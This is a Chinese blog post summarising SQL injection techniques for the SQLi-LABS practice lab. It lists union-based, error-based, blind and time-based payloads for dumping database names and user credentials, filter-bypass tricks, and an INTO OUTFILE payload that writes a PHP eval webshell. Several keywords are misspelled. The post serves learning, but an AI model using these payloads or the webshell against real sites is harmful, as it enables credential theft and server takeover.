SQLi-LABS LESS-1~28a绕过姿势小结

SQLi-LABS LESS-1~28a绕过姿势小结

感悟:

  上一篇对28a及之前的关卡做理论小结的时候就想好再写一篇绕过方式小结,这也是为了方便以后忘记的时候能想起来(虽然不一定写的完整),如果有什么错误,还请各位大表哥大表姐能指条明路。上一次小结中只是单纯的介绍了一下注入漏洞的分类和利用方法,但是不是和具体,这个会在这章补充,而且不写漏洞的危害主要是因为SQL注入是WEB漏洞中能排进前三的漏洞,简直就是一大威胁,这个应该是了解注入之前就该了解的,没必要在我这重复一遍。好了,多的废话也不想讲了,还是进入正题的好。

正文:


  在正式记录SQL注入过程之前,在这里要先介绍几个SQL常用语法和PHP接收及处理变量的常用语法。

SQL语法:
  1. 增:

    • 插入元组:insert into <已有的新表> values([列名<约束条件>],[列名<约束条件>],······),([列名<约束条件>],[列名<约束条件>],······),···
    • 复制表数据:insert into <已有的新表> (列名) select <原表列名> from <原表名>
    • 导入数据至新建表:select <新建表列名> into <新建表名> from <原表名>
    • Union 插入多元组:insert <表名> <列名> select <列值> tnion select <列值>
  2. 删:

    • 删列值:delete from <表名> [where <删除条件>]
    • 删表:drop table <表名>
  3. 改:

    • update <表名> set <列名=更新值> [where <更新条件>]
  4. 查:

    • 条件查询:select <列名> from <表名> [where <查询条件表达试>[order by <排序的列名>[asc或desc]

    • 标记查询:select <列名>, <标识> as <标识名> from <表名>

    • 关键字查询:select top <数值> <列名> from <表名> 查询前指定行

      select top <数值> percent <列名> from <表名>查询前指定百分比

  5. 排序:order by[列名]用于对指定列排序,group by[列名]对指定列进行分组排序

  6. 子查询:select <列名> from <表名1> where <约束条件1>[select <列名> from <表名2> where <约束条件2>]

  7. 联合查询:select * from <表名1> union select * from <表名2>

  8. 连接查询:

    • 内连接:

      select <列名> from <表a>,<表b> where <表a>.<列名>=<表b>.<列名>

      select <列名> from <表a> inner jion <表b> on (<表a>.<列名>=<表b>.<列名>)

    • 外连接:

      select <列名0> from <表名1> as <别名1> left outer jion <表名2> as <别名2> on <别名1>.<列名>=<别名2>.<列名>

  9. 约束条件:and,or,>,<,=,<>,!=,like,between and,jion in,in,not,having

  10. 注释符:#,--,/**/,/xxx/,/!xxx/

PHP函数:

  函数全部来自sqli-labs前28a关卡的index.php文件:

  include($file)函数将 PHP 文件的内容插入另一个 PHP 文件;

  isset($_GET['id'])用于判断是否存在该变量;

  $fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);将URL传过来的ID值存入result.txt中;

  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";为sql语句,也是注入的关键;

  $result=mysql_query($sql);执行一条sql语句,执行成功返回true,失败返回false,保留缓存;

  $row = mysql_fetch_array($result);从结果集中取得一行作为关联数组,或数字数组,或二者兼有,返回根据从结果集取得的行生成数组,如果没有更多行则返回 false;

  mysql_error()返回上一个 MySQL 操作产生的文本错误信息;

  check_input()文件内自定义函数,主要用来过滤特殊字符,基本限定所有直接绕过方式,具体内容解释如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}

  empty($value) 函数用于检查一个变量是否为空;

  substr($str,$begin,$length)函数取字符串子串,第一个参数为主字符串,第二个参数为主字符串中截取子串开始的位置,第三个参数为截取子串的长度;

  get_magic_quotes_gpc()函数取得 PHP 环境变数 magic_quotes_gpc 的值,返回 0 表示关闭本功能,返回 1 表示本功能打开。当 magic_quotes_gpc 打开时,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转义为含有反斜线的溢出字符。

  stripslashes($str)函数删除反斜杠;

  ctype_digit($str)函数检测字符串中的字符是否都是数字,负数和小数会检测不通过。 注意,参数一定要是字符串,如果不是字符串,则会返回0/FASLE。

  mysql_real_escape_string($value,$connection)函数转义 SQL 语句中使用的字符串中的特殊字符。受影响的字符有\x00,\n,\r,\,',",\x1a;

  intval(mixed $var,int $base = xx)函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 整数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  $timestamp = time() + 3600; date($format, $timestamp)time()函数返回当前时间的 Unix 时间戳,并格式化为日期。date()函数对时间进行格式化,format为格式,timestamp为规定时间戳。

  base64_decode($cookee);函数对参数进行base64解密。

  setcookie(name,value,expire,path,domain,secure)函数向客户端发送一个 HTTP cookie。必须在任何其他输出发送前对 cookie 进行赋值。如果成功,则该函数返回 true,否则返回 false。

  header(string,replace,http_response_code)函数向客户端发送原始的 HTTP 报头。

  session_start();函数会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

  mysql_escape_string ( string unescaped_string )函数将 unescaped_string 转义,但并不转义 % 和 _。

  alert() 函数用于显示带有一条指定消息和一个 OK 按钮的警告框。

  mysql_affected_rows()函数返回前一次 MySQL 操作所影响的记录行数。

  blacklist($id)为自定义函数,主要用到preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )函数,该函数执行一个正则表达式的搜索和替换,如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。多字符过滤。

MYSQL五类报错注入函数:
  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    1. floor():取整函数,打开MySQL命令框输入命令查看报错信息。
    select count(*) from infomation_schema.tables group by concat((select database()),floor(rand(0)*2);
    2. extractvalue():接收两个参数,第一个XML文档,第二个xpath语句。xpath语句格式错误返回数据。
    select extractvalue(1,concat(0x7e,(select database()),0x7e));
    3. updatexml():查询出所有库以及库中所有表的信息。
    select updatexml(1,concat(0x7e,(select database()),0x7e,1);
    4. exp():返回e(自然对数的底)指数X的幂值。
    select EXP(~(SELECT * from(select database())a));
    5. 六个同类空间索引函数:
    - GeometryCollection():零个或更多个 geometry 或 geography 实例的集合。
    select GeometryCollection((select * from (select * from(select user())a)b));
    - polygon():存储为一系列点的二维表面,这些点定义一个外部边界环和零个或多个内部环。
    select polygon((select * from(select * from(select user())a)b));
    - multipoint():零个点或更多个点的集合。
    select multipoint((select * from(select * from(select user())a)b));
    - multilinestring():零个或更多 geometry 或 geography LineString 实例的集合。
    select multilinestring((select * from(select * from(select user())a)b));
    - linestring():一个一维对象,表示一系列点和连接这些点的线段。
    select LINESTRING((select * from(select * from(select user())a)b));
    - multipolygon():零个或更多个 Polygon 实例的集合。
    select multipolygon((select * from(select * from(select user())a)b));

  语法不是一成不变的,有时候灵活贯通才是最重要的,接下来记录常见SQL注入姿势:

  1. 普通注入:

    这一类注入是最基础且最核心的注入,过程也已经公式化了:

    1)判断注入点:',",无,),'),")等,接or 1=1or 1=2,根据返回判断,恒等式成立表示成功,矛盾等式成立表示错误,最后面用注释符。

    2)判断字段个数:order by i #,i 为自然数,列存在则返回正常界面,不存在返回错误界面。例,当列的个数为4时,i从1到4都会返回正常界面,i 为5及5之后的时候,会返回错误信息,由此可判断,数据库中当前正在使用的表有4 个字段(列)。这里假设有4个字段。

    3)判断显位:union select 1,2,3,4 #显位会将界面中值所在的字段显示出来。例,表中原本是显示“test”的地方现在显示2,说明“test”所在的字段会在界面中显示,而且是显示在2的位置。判断显位的主要目的是为了在构造查询语句的时候明白要把查询的值放在哪个字段。这里假设显位为2,3。

    4)爆库名:union select 1,schema_name,3,4 from information_schema.schemata limit 0,1 #union select 1,group_concat(schema_name),3,4 from information_schema.schemata#union select 1,database(),3,4 #第一种是手工逐个爆出数据库名,通过修改limit后面的第一个参数,回显不同的数据库;第二种是利用group_concat()将数据库成组爆出,用逗号隔开;第三种是利用database()方法直接爆出当前正在使用的数据库名(只有一个)。这里假设库名为“security”。

    5)爆表名:union select 1,table_name,3,4 from information_schema.tables where table_schema='security' limit 0,1#union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #union select 1,user(),3,4 #第一种是手工逐个爆出表名,通过修改limit后面的第一个参数,回显不同的表;第二种是利用group_concat()将表成组爆出,用逗号隔开;第三种是利用user()方法直接爆出当前正在使用的表名(只有一个)。这里假设表名为“users”。

    6)爆字段名:union select 1,column_name,3,4 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 #union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=user() #第一种是手工逐个爆出字段名,通过修改limit后面的第一个参数,回显不同的字段;第二种是利用group_concat()将字段成组爆出,用逗号隔开。这里假设字段名为id,username,password,is_admin。

    7)爆元组值:union select 1,username,password,4 from security.users limit 0,1 #union select 1,group_concat(username),group_concat(password),4 from users#第一种是手工逐个爆出元组值,通过修改limit后面的第一个参数,回显不同的元组值;第二种是利用group_concat()将元组值成组爆出,用逗号隔开。元组值就是最后的目标。

    ==下面的(select)表示普通注入4)到7)。。。。。==

  2. 双注入:

    双注入是在普通注入的基础上再加一成注入条件,主要是利用mysql虚拟表报错。注入点,字段数,和显位的判断与普通注入相似。这里假设有3个字段,显位为2,3。

    爆内容格式:union select 1,count(*),concat((select),floor(rand()*2)) as a from information_schema.tables group by a #union select 1,count(*),count(*) from information_schema.tables group by concat((select),floor(rand()*2)) #,这里的select语句不能用到group_concat(),会和前面的concat()冲突。

  3. SQL盲注:

    1)布尔盲注:

    • 判断长度:and length(select)>n #,n为自然数,也就是长度,回显出现明显不一样的时候。

      length($str)方法返回字符串长度。

    • 判断内容:and ascii(substr((select),i,1))>n #这里的i和n为自然数,i表示字符下标,n用于判断字符的ASCII码值,也可以写成and substr((select),1,j)='$str'#,这里j为要截取的字符串长度,一般从1开始,一直到字符串结束,$str不固定,可以一个一个字符判断组成。

      sacii($str)方法将字符串转换为ascii码。

      substr($str,i,j)方法从str中的第i位开始提取j个字符。

    2)时间盲注:

    • 判断内容:and if(ascii(substr((select),i,1))>n,1,sleep(3)) #这里的i和n为自然数,i表示字符下标,n用于判断字符的ASCII码值,同理这里也可以写成and if(substr((select),1,j)='$str',1,sleep(3))#,这里j为要截取的字符串长度,一般从1开始,一直到字符串结束,$str不固定,可以一个一个字符判断组成。

      if(example, true,false)条件判断,当true!=0&&true!=NULL时返回true,否则返回false。

      sleep(3)延迟输出,这里延迟时间3秒。

    3)报错盲注:

    • 直接语句注入,即双注入。

    • xpath函数注入:and extractvalue(1,concat(0x7e,(select),0x73)) #and updatexml(1,concat(0x7e,(select),0x7e),1) #and EXP(~(SELECT * from(select )a)) #或mysql六大空间图形索引函数。

      extractvalue($xml-document,xml-path) :对XML文档进行查询的函数,第二个参数xml-path是xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容。

      updatexml($xml-documet,xml-path,update-content)方法更新xml文档,利用原理同上。

    • 重复性报错:union select 1,2,3 from (select name_const((select),1),name_const((select),1))x #(select)语句必须一样,x为别名。

      name_const(name,value) 返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

  4. 文件导入导出:

    • load_file():union select 1,2,load_file('c:\\xxx\..\xxx.xxx')

      load_file():读取文件并返回文件内容为字符串,使用有前提,参考文件导入导出。

    • 目标文件不存在采用SELECT...INTO OUTFILEselect <?php @eval($_POST['sb'])?> into outfile "C:\\xxx\..\xxx.php",该例子在c盘选定目录下新建xxx.php文件,并将一句话木马内容<?php @eval($_POST['sb'])?>写入文件。

    • 当然,这两个方法可以同时使用:union select 1,2,(select load_file('C:\\xxx\..\xxx.php')) into outfile "C:\\xxx\..\xxx.php"

  5. 字符串过滤:

    • 注释符被过滤可以采用其他等价形式的注释符绕过,常用注释符://,,– ,=,/**/,#,–+,– -,;,%00,–a,&&,||,空格

      例:空格被过滤:union/**/select/**/1,2,3/**/from/**/usrs/**/where/**/1/**/#

    • 常用字符串被过滤可以用大小写或双拼写绕过,常用字符串:union,select,and,or,password,oder,where,like

      例:union的大小写都被过滤:uniUNIONon代替

  目前能回想起来的大概就这么多,还有一些更深层次和零零碎碎的留至以后想起来的时候补充。如果有什么错误或不完善的地方,欢迎表哥表姐们指教。交友通道:2790169067

参考文献:

https://www.cnblogs.com/Dleo/p/5493782.html

http://www.runoob.com/php/php-tutorial.html

https://www.cnblogs.com/daxueshan/p/6687521.html